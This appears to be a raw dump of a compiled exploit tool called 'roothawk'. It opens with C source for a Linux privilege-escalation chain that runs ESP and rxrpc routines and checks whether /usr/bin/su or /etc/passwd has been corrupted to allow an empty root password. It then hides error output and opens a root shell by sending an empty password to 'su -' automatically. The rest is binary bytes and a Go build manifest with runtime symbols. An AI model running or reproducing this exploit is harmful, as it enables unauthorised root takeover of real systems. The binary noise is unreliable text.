0xb0, 0x6a, }; static int su_already_patched(void) { int fd = open("/usr/bin/su", O_RDONLY); if (fd < 0) return 0; uint8_t got[8]; ssize_t n = pread(fd, got, sizeof(got), 0x78); close(fd); if (n != sizeof(got)) return 0; return memcmp(got, su_marker, sizeof(su_marker)) == 0; } static int passwd_already_patched(void) { int fd = open("/etc/passwd", O_RDONLY); if (fd < 0) return 0; char head[16]; ssize_t n = pread(fd, head, sizeof(head), 0); close(fd); if (n < 9) return 0; return memcmp(head, "root::0:0", 9) == 0; } static int either_target_patched(void) { return su_already_patched() || passwd_already_patched(); } static void silence_stderr(int *saved_fd) { *saved_fd = dup(STDERR_FILENO); int dn = open("/dev/null", O_WRONLY); if (dn >= 0) { dup2(dn, STDERR_FILENO); close(dn); } } static void restore_stderr(int saved_fd) { if (saved_fd >= 0) { dup2(saved_fd, STDERR_FILENO); close(saved_fd); } } static char **append_corrupt_only(int argc, char **argv, int *new_argc) { static char *flag = "--corrupt-only"; static char *buf[64]; int n = argc < 60 ? argc : 60; for (int i = 0; i < n; i++) buf[i] = argv[i]; buf[n] = flag; buf[n + 1] = NULL; *new_argc = n + 1; return buf; } static void exec_su_login(void) { const char *paths[] = { "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, }; for (int i = 0; paths[i]; i++) execl(paths[i], "su", "-", (char *)NULL); execlp("su", "su", "-", (char *)NULL); } /* * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it. */ static int run_root_pty(void) { int master = posix_openpt(O_RDWR | O_NOCTTY); if (master < 0) return -1; if (grantpt(master) < 0 || unlockpt(master) < 0) { close(master); return -1; } char *slave_name = ptsname(master); if (!slave_name) { close(master); return -1; } struct winsize ws; if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) ioctl(master, TIOCSWINSZ, &ws); pid_t pid = fork(); if (pid < 0) { close(master); return -1; } if (pid == 0) { setsid(); int slave = open(slave_name, O_RDWR); if (slave < 0) _exit(127); ioctl(slave, TIOCSCTTY, 0); dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); if (slave > 2) close(slave); close(master); exec_su_login(); _exit(127); } signal(SIGTTOU, SIG_IGN); signal(SIGTTIN, SIG_IGN); signal(SIGPIPE, SIG_IGN); signal(SIGHUP, SIG_IGN); (void)setpgid(0, 0); (void)tcsetpgrp(STDIN_FILENO, getpid()); struct termios saved_termios; int restore_termios = 0; if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { struct termios raw = saved_termios; cfmakeraw(&raw); if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) restore_termios = 1; } int auto_pw_sent = 0; int stdin_eof = 0; int saw_master_output = 0; int total_ms = 0; char buf[4096]; for (;;) { struct pollfd pfds[2] = { { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, { master, POLLIN, 0 }, }; int pr = poll(pfds, 2, 200); if (pr < 0 && errno != EINTR) break; total_ms += 200; if (pfds[1].revents & POLLIN) { ssize_t n = read(master, buf, sizeof(buf)); if (n <= 0) break; saw_master_output = 1; (void)write(STDOUT_FILENO, buf, n); if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) { buf[n] = 0; if (strstr(buf, "Password") || strstr(buf, "password")) { (void)write(master, "\n", 1); auto_pw_sent = 1; } } } if (!stdin_eof && (pfds[0].revents & POLLIN)) { ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); if (n <= 0) stdin_eof = 1; else (void)write(master, buf, n); } if (pfds[1].revents & (POLLHUP | POLLERR)) break; if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) { (void)write(master, "\n", 1); auto_pw_sent = 1; } int status; pid_t w = waitpid(pid, &status, WNOHANG); if (w == pid) { for (int i = 0; i < 5; i++) { struct pollfd pf = { master, POLLIN, 0 }; if (poll(&pf, 1, 50) <= 0) break; ssize_t n = read(master, buf, sizeof(buf)); if (n <= 0) break; (void)write(STDOUT_FILENO, buf, n); } break; } } if (restore_termios) tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); close(master); return 0; } int main(int argc, char **argv) { int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); int force_esp = 0, force_rxrpc = 0; int saved_err = -1; int rc = 1; int new_argc; char **co_argv; for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "--force-esp")) force_esp = 1; else if (!strcmp(argv[i], "--force-rxrpc")) force_rxrpc = 1; else if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) verbose = 1; } if (getuid() == 0) { execlp("/bin/bash", "bash", (char *)NULL); _exit(1); } co_argv = append_corrupt_only(argc, argv, &new_argc); if (!verbose) silence_stderr(&saved_err); if (force_rxrpc) { rc = rxrpc_lpe_main(new_argc, co_argv); for (int i = 0; !passwd_already_patched() && i < 3; i++) rc = rxrpc_lpe_main(new_argc, co_argv); } else if (force_esp) { rc = su_lpe_main(new_argc, co_argv); } else { rc = su_lpe_main(new_argc, co_argv); if (!su_already_patched()) { rc = rxrpc_lpe_main(new_argc, co_argv); for (int i = 0; !passwd_already_patched() && i < 3; i++) rc = rxrpc_lpe_main(new_argc, co_argv); } } int patched = either_target_patched(); if (!verbose) restore_stderr(saved_err); if (patched) { (void)run_root_pty(); return 0; } dprintf(2, "roothawk: CVE-2026 chain failed (rc=%d)\n", rc); return rc ? rc : 1; } P  488p550666`77 8`B p    P ` 0  @ a 6 P { ( `! !  nF  0o    PP9lPmUU`VVmwnp&p Q 'PQt4/k C@im`K@ O0`R3vVPYpWWYmyVpZ nP@\`Q`Zp\\\] ]@]`]]]]Z]^ ^@^`^` `@`ab [ b@b`bbbbbcPcpcP[cccd d@d`dddd[de epeeeeef0f[Pfff@gggh[\@\0PQ@  pD`RIX0>[P 4PM mphSpSIIJ^SO 0   p и @ } ~ : :`]@`@pvp0<0p  UUUe *$I$I&ڶmm۶UUUUs? q%2AE%Q8UH%XI$:RTUUU%UUIe{06'H  Xb ZkkZp 3TU48 @P81m۶m2333DDDD""""UU X$BNM 'I$ I$ UUUUU2$I$II$I$R $$II @ b0@@״TVjUUZUjU%UU+-S*UR*RLDLDDDDX3CU t4444444444TDxT$$$$$$$$$$$$$$$$HHHHHHHHHHHHHHHH!!!!!!!!!!!!!!!!BBBBBBBBBBBBBBBB $$$$$$$$$$$$$$$$HHHHHHHHHHHHHHHH!!!!!!!!!!!!!!!!BBBBBBBBBBBBBBBBA $ %   !.* B<@%4ک*M"""$"B"""*D"EGDI0DI$ "p 3G 2f@:$). (A&x"""V ?R0@@  2dȐ!C 2d!@($" & _eA>MbP?{Gz?333333?ffffff??333333?@Y@@@& .A.A333333ӿ9B.q@*go1.26.0he_'?f)ؚI66PkJڞZ4\N#b( )K1Y> IX%t-b(8ؐTTTTTTTT9xМММ МММ7ł3t-#t-y> 2 f) 34֔?j*w.=L#@ zC!R$|1R$;4 \& 7 Q1aD! 59g), +5?cogk*a;k 8O 7I5tc(9? k*NMbg)`K"X%X%8{/] #u-X% S$;D!D!K"/U<ޓ>DVEY%$ tl*; J<ˁ2F1 ^&1'''a=v-U8Ct,[[b'G+@@v~0hI!3 Dj)mj)j)(i##Mn*Q#v@ >  @ `p   AB I!'}z.[%9C 4r+I!4) J!call frame too largePTpTT0 # Z Zx@[@pGuZF uZH  a3( Jo qVF :Y ^ T  h( $ aOXQ &Ӧ  M@ KF \kL{n Kg  V3     ,0 uZW T<.  ~P ? `O2#n$=f og4 @L`> `  y y{w @O8 u`[`[ 0ͫ"  f^-P  @  mXJ P{@^ `P,Y]@8<  Q 6pixJyb `PITqP Qexpand 32-byte k    @qW0u r: S4vx  `SLm`IU@:`;CX_ bd `S]  љ P `(:[P I' Е  }N N    qh& #   |IӋ @@@`r5`o,p-/>(@++  kز0 @8<? TR  'AP />(@++@jC@ [}  @[ϠC I' 0 1_ `(:[p P ` p | `qgШ 0 R%sa6p @C|Tf f f ?jHAeAMbP?@@0 Ԣ ( ` O}@pP``N]`@pЯ`Mб0,F 4F Em`C:\Users\admin\go\pkg\mod\golang.org\toolchain@v0.0.1-go1.26.0.windows-amd64L(tԒ41122<3|3304304  0Z,X0Z0ZdZZdZhZY0ZZ P`P  `VVY ZH\]`ZlZZ,[|[vvvvx uO s ` K  ` *     + PUZ!#%')+- /13ȓ579;=?ACEGI!0w tApath command-line-arguments dep github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= dep github.com/hashicorp/go-version v1.5.0 h1:O293SZ2Eg+AAYijkVK3jR786Am1bhDEh2GHT0tIVE5E= dep github.com/liamg/tml v0.6.0 h1:yOC/Q9p9Io3J11U9LdYVIwpRTnTE1GPMNFLrygkmE2Y= dep golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e h1:T8NU3HyQ8ClP4SEE+KbFlg6n0NhuTsN4MyznaarGsZM= dep golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= dep golang.org/x/term v0.0.0-20220526004731-065cf7ba2467 h1:CBpWXWQpIRjzmkkA+M7q9Fqnwd2mZr3AFqexg8YTfoM= dep roothawk (devel) build -buildmode=exe build -compiler=gc build -ldflags="-s -w" build CGO_ENABLED=0 build GOARCH=arm64 build GOOS=linux build GOARM64=v8.0 2C1 rBA``@`@```@`@@@`@``@```` ` Z Z@ ` Z Z@ ` @` Z Z` Z Z@ ` Z Z@ ` Z Z@ ` Z` Z Z@ ` Z Z ``Y``Y``Y `  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ H@@@[internal/abi.BoundsDecodeinternal/abi.NoEscapeinternal/abi.Kind.Stringinternal/abi.TypeOfinternal/abi.(*Type).Leninternal/abi.(*Type).Kindinternal/abi.(*Type).ExportedMethodsinternal/abi.(*Type).Uncommoninternal/abi.(*UncommonType).ExportedMethodsinternal/abi.addCheckedinternal/abi.(*Type).NumMethodinternal/abi.(*InterfaceType).NumMethodinternal/abi.Name.IsBlankinternal/abi.Name.ReadVarintinternal/abi.Name.DataCheckedinternal/abi.Name.Nameinternal/abi.Name.Taginternal/abi.Name.HasTaginternal/abi.NewNameinternal/abi.writeVarintinternal/abi.(*Kind).Stringinternal/abi.(*FuncType).Leninternal/abi.(*PtrType).Lentype:.eq.internal/abi.UncommonTypetype:.eq.internal/abi.RegArgstype:.eq.internal/abi.ITabinternal/cpu.Initializeinternal/cpu.processOptionsinternal/cpu.indexByteinternal/cpu.doinitinternal/cpu.osInitinternal/cpu.hwcapInitinternal/cpu.isSetinternal/cpu.getMIDRtype:.eq.internal/cpu.optiontype:.eq.[10]internal/cpu.optioninternal/runtime/sys.initinternal/runtime/sys.EnableDITinternal/runtime/sys.DITEnabledinternal/runtime/sys.DisableDITtype:.eq.internal/runtime/sys.NotInHeapinternal/runtime/atomic.(*Int32).Storeinternal/runtime/atomic.(*Uint64).Storetype:.eq.internal/runtime/atomic.Int64type:.eq.internal/runtime/atomic.Uint64internal/bytealg.init.0cmpbodyinternal/bytealg.Compareruntime.cmpstringinternal/bytealg.Countinternal/bytealg.CountStringruntime.memequal_varlenruntime.memequalinternal/bytealg.Indexinternal/bytealg.IndexStringinternal/bytealg.IndexByteinternal/bytealg.IndexByteStringinternal/strconv.Error.Errorinternal/strconv.ParseUintinternal/strconv.lowerinternal/strconv.ParseIntinternal/strconv.Atoiinternal/strconv.underscoreOKinternal/strconv.AppendComplexinternal/strconv.AppendFloatinternal/strconv.(*decimal).Assigninternal/strconv.triminternal/strconv.rightShiftinternal/strconv.leftShiftinternal/strconv.prefixIsLessThaninternal/strconv.(*decimal).Shiftinternal/strconv.(*decimal).Roundinternal/strconv.shouldRoundUpinternal/strconv.(*decimal).RoundUpinternal/strconv.(*decimal).RoundDowninternal/strconv.genericFtoainternal/strconv.float32bitsinternal/strconv.float64bitsinternal/strconv.mulLog10_2internal/strconv.bigFtoainternal/strconv.formatDigitsinternal/strconv.roundShortestinternal/strconv.fmtEinternal/strconv.fmtFinternal/strconv.fmtBinternal/strconv.fmtXinternal/strconv.dboxFtoainternal/strconv.dboxFtoa64internal/strconv.mulLog10_2MinusLog10_4Over3internal/strconv.dboxPow64internal/strconv.pow10internal/strconv.mulLog2_10internal/strconv.dboxRange64internal/strconv.dboxRoundUp64internal/strconv.dboxMulPow64internal/strconv.dboxDelta64internal/strconv.dboxParity64internal/strconv.umul192Lower128internal/strconv.umul128internal/strconv.dboxFtoa32internal/strconv.dboxPow32internal/strconv.dboxRange32internal/strconv.dboxRoundUp32internal/strconv.dboxMulPow32internal/strconv.umul96Upper64internal/strconv.umul64internal/strconv.dboxDelta32internal/strconv.dboxParity32internal/strconv.umul96Lower64internal/strconv.dboxDigitsinternal/strconv.umul128Upper64internal/strconv.umul192Upper128internal/strconv.uadd128internal/strconv.fixedFtoainternal/strconv.umul192internal/strconv.divisiblePow5internal/strconv.FormatUintinternal/strconv.smallinternal/strconv.FormatIntinternal/strconv.AppendIntinternal/strconv.AppendUintinternal/strconv.formatBitsinternal/strconv.isPowerOfTwomath/bits.TrailingZerosinternal/strconv.formatBase10internal/strconv.trimZerosinternal/strconv.(*Error).Errorinternal/runtime/syscall/linux.EpollWaitinternal/runtime/syscall/linux.Openinternal/runtime/syscall/linux.Readinternal/runtime/syscall/linux.Preadinternal/runtime/syscall/linux.Syscall6internal/runtime/cgroup.parseV1Numberinternal/runtime/cgroup.parseV2Limitinternal/runtime/cgroup.parseCPUCgroupinternal/runtime/cgroup.newLineReaderinternal/runtime/cgroup.(*lineReader).lineinternal/runtime/cgroup.containsCPUinternal/runtime/cgroup.parseCPUMountinternal/runtime/cgroup.hasPathPrefixinternal/bytealg.Equalinternal/runtime/cgroup.unescapedLeninternal/runtime/cgroup.unescapePathinternal/runtime/cgroup.CPU.Closeinternal/runtime/syscall/linux.Closeinternal/runtime/cgroup.OpenCPUinternal/runtime/cgroup.checkBufferSizeinternal/runtime/cgroup.ReadCPULimitinternal/runtime/cgroup.readV1Numberinternal/runtime/cgroup.readV2Limitinternal/runtime/cgroup.FindCPUinternal/runtime/cgroup.FindCPUCgroupinternal/runtime/cgroup.FindCPUMountPointinternal/runtime/cgroup.stringError.Errorinternal/runtime/cgroup.(*lineReader).nextinternal/runtime/cgroup.(*stringError).Errorinternal/runtime/maps.NewMapinternal/runtime/maps.alignUpPow2internal/runtime/maps.depthToShiftinternal/runtime/maps.(*Map).installTableSplitinternal/runtime/maps.(*Map).directoryAtinternal/runtime/maps.(*Map).replaceTableinternal/runtime/maps.(*Map).directorySetinternal/runtime/maps.(*Map).getWithKeyinternal/runtime/maps.(*Map).Usedinternal/runtime/maps.(*Map).directoryIndexinternal/runtime/maps.(*Map).getWithKeySmallinternal/runtime/maps.h2internal/runtime/maps.ctrlGroup.matchH2internal/runtime/maps.ctrlGroupMatchH2internal/runtime/maps.bitset.removeFirstinternal/runtime/maps.(*groupReference).keyinternal/runtime/maps.bitset.firstinternal/runtime/maps.bitsetFirstinternal/abi.(*MapType).IndirectKeyinternal/runtime/maps.(*groupReference).eleminternal/abi.(*MapType).IndirectEleminternal/runtime/maps.(*Map).putSlotSmallinternal/runtime/maps.(*ctrlGroup).setinternal/abi.(*MapType).NeedKeyUpdateinternal/runtime/maps.(*groupReference).ctrlsinternal/runtime/maps.ctrlGroup.matchEmptyOrDeletedinternal/runtime/maps.ctrlGroupMatchEmptyOrDeletedinternal/runtime/maps.(*Map).growToSmallinternal/runtime/maps.newGroupsinternal/runtime/maps.(*ctrlGroup).setEmptyinternal/runtime/maps.(*Map).growToTableinternal/runtime/maps.(*ctrlGroup).getinternal/runtime/maps.(*Map).Deleteinternal/runtime/maps.mapKeyErrorinternal/abi.(*MapType).HashMightPanicinternal/runtime/maps.(*Map).deleteSmallinternal/abi.(*Type).Pointersinternal/runtime/maps.mapKeyError2internal/abi.(*Type).IsDirectIfaceinternal/runtime/maps.unhashableTypeError.Errorinternal/runtime/maps.(*Map).putSlotSmallFast32internal/runtime/maps.(*Map).putSlotSmallFast64internal/runtime/maps.(*Map).putSlotSmallFastPtrinternal/runtime/maps.(*Map).getWithoutKeySmallFastStrinternal/runtime/maps.longStringQuickEqualityTestinternal/runtime/maps.(*Map).putSlotSmallFastStrinternal/runtime/maps.newTableinternal/runtime/maps.(*table).resetinternal/runtime/maps.(*table).maxGrowthLeftinternal/runtime/maps.(*groupsReference).groupinternal/runtime/maps.(*table).getWithKeyinternal/runtime/maps.makeProbeSeqinternal/runtime/maps.probeSeq.nextinternal/runtime/maps.ctrlGroup.matchEmptyinternal/runtime/maps.ctrlGroupMatchEmptyinternal/runtime/maps.(*table).uncheckedPutSlotinternal/runtime/maps.(*table).Deleteinternal/runtime/maps.(*table).pruneTombstonesinternal/runtime/maps.(*table).tombstonesinternal/runtime/maps.ctrlGroup.matchFullinternal/runtime/maps.ctrlGroupMatchFullinternal/runtime/maps.bitset.countinternal/runtime/maps.(*Iter).Initinternal/runtime/maps.(*Iter).grownKeyEleminternal/runtime/maps.(*Iter).Nextinternal/runtime/maps.(*Iter).nextDirIdxinternal/runtime/maps.bitset.removeBelowinternal/runtime/maps.bitsetRemoveBelowinternal/runtime/maps.(*table).rehashinternal/runtime/maps.(*table).splitinternal/runtime/maps.localDepthMaskinternal/runtime/maps.(*table).growruntime.mapaccess1runtime.mapaccess2runtime.mapassignruntime.mapaccess1_fast32internal/runtime/maps.bitset.shiftOutLowestinternal/runtime/maps.bitsetShiftOutLowestruntime.mapaccess2_fast32runtime.mapassign_fast32runtime.mapaccess1_fast64runtime.mapaccess2_fast64runtime.mapassign_fast64runtime.mapassign_fast64ptrruntime.mapdelete_fast64runtime.mapaccess1_faststrruntime.mapaccess2_faststrruntime.mapassign_faststrinternal/runtime/maps.(*unhashableTypeError).Errortype:.eq.internal/runtime/maps.Maptype:.eq.internal/runtime/maps.tabletype:.eq.internal/godebugs.Infointernal/stringslite.Indexinternal/stringslite.IndexByteinternal/bytealg.Cutoverinternal/stringslite.Cutinternal/bytealg.IndexRabinKarp[go.shape.string]internal/bytealg.HashStr[go.shape.string]internal/runtime/exithook.Runinternal/runtime/atomic.(*Int32).CompareAndSwapinternal/runtime/atomic.(*Uint64).Loadinternal/runtime/exithook.Run.deferwrap2internal/runtime/exithook.Run.deferwrap1internal/runtime/exithook.Run.func1internal/chacha8rand.(*State).Initinternal/byteorder.LEUint64internal/chacha8rand.(*State).Init64internal/chacha8rand.(*State).Refillinternal/chacha8rand.(*State).Reseedinternal/chacha8rand.(*State).Nextinternal/chacha8rand.blocktype:.eq.internal/chacha8rand.Stateruntime.initruntime.init.func2runtime.sigdelsetruntime.init.func1runtime.memhash8runtime.memhash128runtime.strhashFallbackruntime.f32hashruntime.f64hashruntime.c64hashruntime.c128hashruntime.interhashruntime.memequal0runtime.memequal8runtime.memequal16runtime.memequal32runtime.memequal64runtime.memequal128runtime.f32equalruntime.f64equalruntime.c64equalruntime.c128equalruntime.strequalruntime.interequalruntime.nilinterequalruntime.efaceeqruntime.ifaceeqruntime.alginitruntime.initAlgAESruntime.init.0runtime.(*mspan).setUserArenaChunkToFaultruntime.makeSpanClassruntime.bool2intruntime.(*mspan).baseruntime.sysFaultinternal/runtime/atomic.(*Uint64).Addruntime.(*mspan).setUserArenaChunkToFault.func1runtime.lockruntime.lockWithRankruntime.unlockruntime.unlockWithRankruntime.mmapruntime.mmap.func1runtime.munmapruntime.munmap.func1runtime.sigactionruntime.sigaction.func1runtime.callbackUpdateSystemStackruntime.defaultGOMAXPROCSInitruntime.defaultGOMAXPROCSruntime.adjustCgroupGOMAXPROCSruntime.ceilruntime.makechanruntime.addruntime.(*hchan).raceaddrruntime.chansend1runtime.chansendruntime.fullruntime.cputicksruntime.nanotimeruntime.(*waitq).dequeueinternal/runtime/atomic.(*Uint32).CompareAndSwapruntime.(*maybeTraceablePtr).setruntime.(*maybeTraceableChan).setruntime.(*waitq).enqueueinternal/runtime/atomic.(*Bool).Storeinternal/runtime/atomic.(*Uint8).Storeruntime.chanbufruntime.chansend.func1runtime.sendruntime.goreadyruntime.send.goready.func1runtime.timerchandrainruntime.sendDirectruntime.(*maybeTraceablePtr).getruntime.recvDirectruntime.closechanruntime.(*gList).pushruntime.(*guintptr).setruntime.(*gList).emptyruntime.(*gList).popruntime.closechan.goready.func1runtime.emptyruntime.chanrecv1runtime.chanrecv2runtime.chanrecvruntime.chanrecv.func1runtime.recvruntime.recv.goready.func1runtime.chanparkcommitruntime.selectnbsendruntime.selectnbrecvruntime.chanleninternal/runtime/atomic.(*Int32).Loadruntime.init.1runtime.(*cpuProfile).addinternal/runtime/atomic.(*Uint32).Storeruntime.(*cpuProfile).addNonGoruntime.(*cpuProfile).addExtraruntime.GOMAXPROCSruntime.debugPinnerV1runtime.debugCallCheckruntime.debugCallCheck.func1runtime.funcnameruntime.funcInfo.entryruntime.debugCallWrapruntime.lockOSThreadruntime.dolockOSThreadruntime.(*muintptr).setruntime.debugCallWrap.func1runtime.debugCallWrap1runtime.debugCallWrap2runtime.debugCallWrap2.func1runtime.gogetenvruntime.envKeyEqualruntime.(*TypeAssertionError).Errorruntime.errorString.Errorruntime.errorAddressString.Errorruntime.plainError.Errorruntime.boundsError.Errorruntime.appendIntStrruntime.itoaruntime.printpanicvalruntime.printanycustomtyperuntime.printindentedruntime.panicwrapruntime.funcNameForPrintruntime.Callerruntime.CallersFramesruntime.checkfdsruntime.floorruntime.isNaNruntime.isInfruntime.isFiniteruntime.modfruntime.float64bitsruntime.float64frombitsruntime.memhashFallbackruntime.r8runtime.readUnaligned64runtime.r4runtime.readUnaligned32internal/byteorder.LEUint32runtime.mixruntime.memhash32Fallbackruntime.memhash64Fallbackruntime.hexdumpWordsruntime.(*hexdumper).closeruntime.printunlockruntime.hexdumpWords.func1runtime.(*hexdumper).writeruntime.(*hexdumper).initruntime.(*hexdumper).flushLineruntime.(*hexdumper).flushLine.func1runtime.(*hexdumper).fmtHexruntime.hexdumpMarker.startruntime.(*timeHistogram).recordruntime.(*timeHistogram).writeruntime.(*metricValue).float64HistOrInitruntime.timeHistogramMetricsBucketsruntime.(*itabTableType).findruntime.itabHashFuncruntime.itabAddruntime.iterate_itabsruntime.atomicstorepruntime.(*itabTableType).addruntime.itabInitruntime.rtype.nameOffruntime.rtype.typeOffinternal/abi.Name.IsExportedruntime.itabsinitruntime.activeModulesruntime.panicdottypeEruntime.panicdottypeIruntime.panicnildottyperuntime.convTruntime.convTnoptrruntime.convT32runtime.typeAssertruntime.cheaprandinternal/runtime/atomic.casPointerruntime.buildTypeAssertCacheruntime.buildTypeAssertCache.func1runtime.interfaceSwitchruntime.buildInterfaceSwitchCacheruntime.buildInterfaceSwitchCache.func1runtime.unreachableMethodruntime.(*lfstack).pushruntime.lfstackPackruntime.(*lfstack).popruntime.lfstackUnpackruntime.taggedPointer.pointerruntime.procyieldruntime.lfnodeValidateruntime.(*listHeadManual).pushruntime.(*listHeadManual).getNoderuntime.(*listHeadManual).popruntime.(*listHeadManual).removeruntime.notewakeupruntime.notesleepruntime.notetsleep_internalruntime.notetsleepruntime.notetsleepgruntime.semasleepruntime.lockVerifyMSizeruntime.roundupsizeruntime.lock2runtime.mutexPreferLowLatencyruntime.mutexWaitListHeadruntime.(*mLockProfile).endinternal/runtime/atomic.(*Int64).Addruntime.unlock2runtime.mutexSampleContentionruntime.cheaprandnruntime.(*mLockProfile).storeruntime.unlock2Wakeruntime.muintptr.ptrruntime.semawakeupruntime.lockRank.Stringruntime.nextHeapRandBitsruntime.mallocinitruntime.alignUpinternal/runtime/atomic.(*Int64).Storeruntime.(*mheap).sysAllocruntime.(*fixalloc).freeruntime.arenaIndexruntime.sysHugePageruntime.sysNoHugePageruntime.sysReserveruntime.sysFreeOSruntime.sysReserveAlignedruntime.(*mheap).enableMetadataHugePagesruntime.(*mcache).nextFreeruntime.mallocgcTinyruntime.acquiremruntime.getMCacheruntime.releasemruntime.nextFreeFastruntime.mallocgcSmallNoscanruntime.divRoundUpruntime.mallocgcSmallScanNoHeaderruntime.heapSetTypeNoHeaderruntime.mallocgcSmallScanHeaderruntime.heapSetTypeSmallHeaderruntime.mallocgcLargeruntime.heapSetTypeLargeruntime.preMallocgcDebugruntime.postMallocgcDebugruntime.traceAllocFreeEnabledruntime.traceAcquireruntime.traceEnabledruntime.traceReleaseruntime.alignDownruntime.deductAssistCreditruntime.memclrNoHeapPointersChunkedruntime.goschedguardedruntime.newobjectruntime.profileallocruntime.nextSampleruntime.fastexprandruntime.fastlog2runtime.persistentallocruntime.persistentalloc.func1runtime.persistentalloc1runtime.(*notInHeap).addruntime.(*linearAlloc).allocruntime.sysUsedruntime.mapIterStartruntime.mapIterNextruntime.wbZeroruntime.wbMoveruntime.reflectcallmoveinternal/abi.(*IntArgRegBitmap).Getruntime.typedmemclrruntime.(*mspan).typePointersOfruntime.(*mspan).objBaseruntime.(*mspan).objIndexruntime.(*mspan).divideByElemSizeruntime.(*mspan).typePointersOfUncheckedruntime.heapBitsInSpanruntime.getGCMaskruntime.readUintptrruntime.(*mspan).typePointersOfTyperuntime.typePointers.nextruntime.addbruntime.typePointers.nextFastruntime.typePointers.fastForwardruntime.bulkBarrierPreWriteruntime.spanOfruntime.(*mSpanStateBox).getinternal/runtime/atomic.(*Uint8).Loadruntime.puintptr.ptrruntime.(*wbBuf).get2runtime.(*wbBuf).get1runtime.bulkBarrierPreWriteSrcOnlyruntime.(*mspan).initHeapBitsruntime.gcUsesSpanInlineMarkBitsruntime.(*mspan).initInlineMarkBitsruntime.(*mspan).inlineMarkBitsruntime.spanInlineMarkBitsFromBaseruntime.(*mspan).heapBitsruntime.heapBitsSliceruntime.spanHeapBitsRangeruntime.(*mspan).heapBitsSmallForAddrruntime.(*mspan).writeHeapBitsSmallruntime.(*mspan).refillAllocCacheruntime.(*gcBits).bytepruntime.(*mspan).nextFreeIndexruntime.isMarkedOrNotInHeapruntime.(*mspan).markBitsForIndexruntime.markBits.isMarkedruntime.badPointerruntime.bulkBarrierBitmapruntime.typeBitsBulkBarrierruntime.progToPointerMaskruntime.runGCProgruntime.add1runtime.subtract1runtime.subtractbruntime.allocmcacheruntime.allocmcache.func1runtime.(*mcache).refillruntime.spanClass.sizeclassruntime.(*mcache).allocLargeruntime.(*mcentral).fullSweptruntime.(*mcache).releaseAllruntime.(*mcache).prepareForSweepinternal/runtime/atomic.(*Uint32).Loadruntime.(*mcentral).cacheSpanruntime.(*mcentral).partialSweptruntime.(*activeSweep).beginruntime.(*mcentral).partialUnsweptruntime.(*mcentral).fullUnsweptruntime.traceLocker.okruntime.(*mcentral).uncacheSpanruntime.(*mcentral).growruntime.startCheckmarksruntime.endCheckmarksruntime.gcIsMarkDoneruntime.gcMarkWorkAvailableruntime.(*lfstack).emptyruntime.pMask.anyruntime.setCheckmarkruntime.getCheckmarkruntime.runCheckmarkruntime.checkFinalizersAndCleanupsruntime.funclineruntime.checkFinalizersAndCleanups.func1runtime.checkFinalizersAndCleanups.func1.1runtime.gcScanCleanupruntime.forEachSpecialruntime.Cleanup.Stopruntime.(*mspan).specialFindSplicePointruntime.spanHasNoSpecialsruntime.(*cleanupQueue).enqueueinternal/runtime/atomic.(*Bool).Loadinternal/runtime/atomic.(*UnsafePointer).Loadinternal/runtime/atomic.(*UnsafePointer).CompareAndSwapruntime.(*cleanupBlock).enqueueruntime.(*cleanupBlock).fullruntime.(*cleanupQueue).addWorkruntime.(*cleanupQueue).dequeueruntime.(*cleanupQueue).tryTakeWorkinternal/runtime/atomic.(*Uint64).CompareAndSwapinternal/runtime/atomic.(*Uint32).Addruntime.goparkunlockruntime.(*cleanupQueue).flushruntime.(*cleanupBlock).takeruntime.(*cleanupBlock).emptyruntime.(*cleanupQueue).wakeruntime.maxCleanupGsruntime.(*cleanupQueue).createGsinternal/runtime/atomic.(*Uint32).Swapruntime.runCleanupsruntime.(*cleanupQueue).beginRunningCleanupsruntime.(*cleanupQueue).endRunningCleanupsruntime.sysAllocruntime.sysFreeruntime.sysMapruntime.sysAllocOSruntime.sysUnusedOSruntime.sysUsedOSruntime.sysHugePageOSruntime.sysNoHugePageOSruntime.sysFaultOSruntime.mprotectruntime.sysReserveOSruntime.sysMapOSruntime.initMetricsruntime.makeStatDepSetruntime.compute0runtime.queuefinalizerinternal/runtime/atomic.(*Uint32).Orruntime.createfingruntime.finalizercommitruntime.finReadQueueStatsruntime.runFinalizersruntime.assertE2Iinternal/runtime/atomic.(*Uint32).Andruntime.SetFinalizerruntime.inUserArenaChunkruntime.isGoPointerWithoutSpaninternal/abi.(*FuncType).IsVariadicinternal/abi.(*FuncType).InSliceruntime.assertE2I2internal/abi.(*FuncType).OutSliceinternal/abi.(*FuncType).NumOutruntime.SetFinalizer.func2runtime.setFinalizerContextruntime.SetFinalizer.func1runtime.clearFinalizerContextruntime.(*fixalloc).initruntime.(*fixalloc).allocruntime.gcinitruntime.(*listHeadManual).initruntime.gcenableruntime.gcenable.gowrap2runtime.gcenable.gowrap1runtime.pollFractionalWorkerExitinternal/runtime/atomic.(*Int64).Loadruntime.gcTrigger.testruntime.gcStartruntime.semacquireruntime.semreleaseruntime.(*cpuStats).accumulateGCPauseTimeruntime.setSyncObjectsUntraceableruntime.setGCPhaseruntime.gcBgMarkPrepareruntime.Goschedruntime.gcStart.func4runtime.gcStart.func2runtime.gcStart.func1runtime.gcMarkDoneruntime.forEachPruntime.gcMarkDone.func4runtime.gcMarkDone.func3runtime.gcMarkDone.func2runtime.gcMarkDone.forEachP.func5runtime.(*g).isMaybeRunnableruntime.readgstatusruntime.(*maybeTraceableChan).getruntime.findMaybeRunnableGoroutinesruntime.findGoroutineLeaksruntime.waitReaso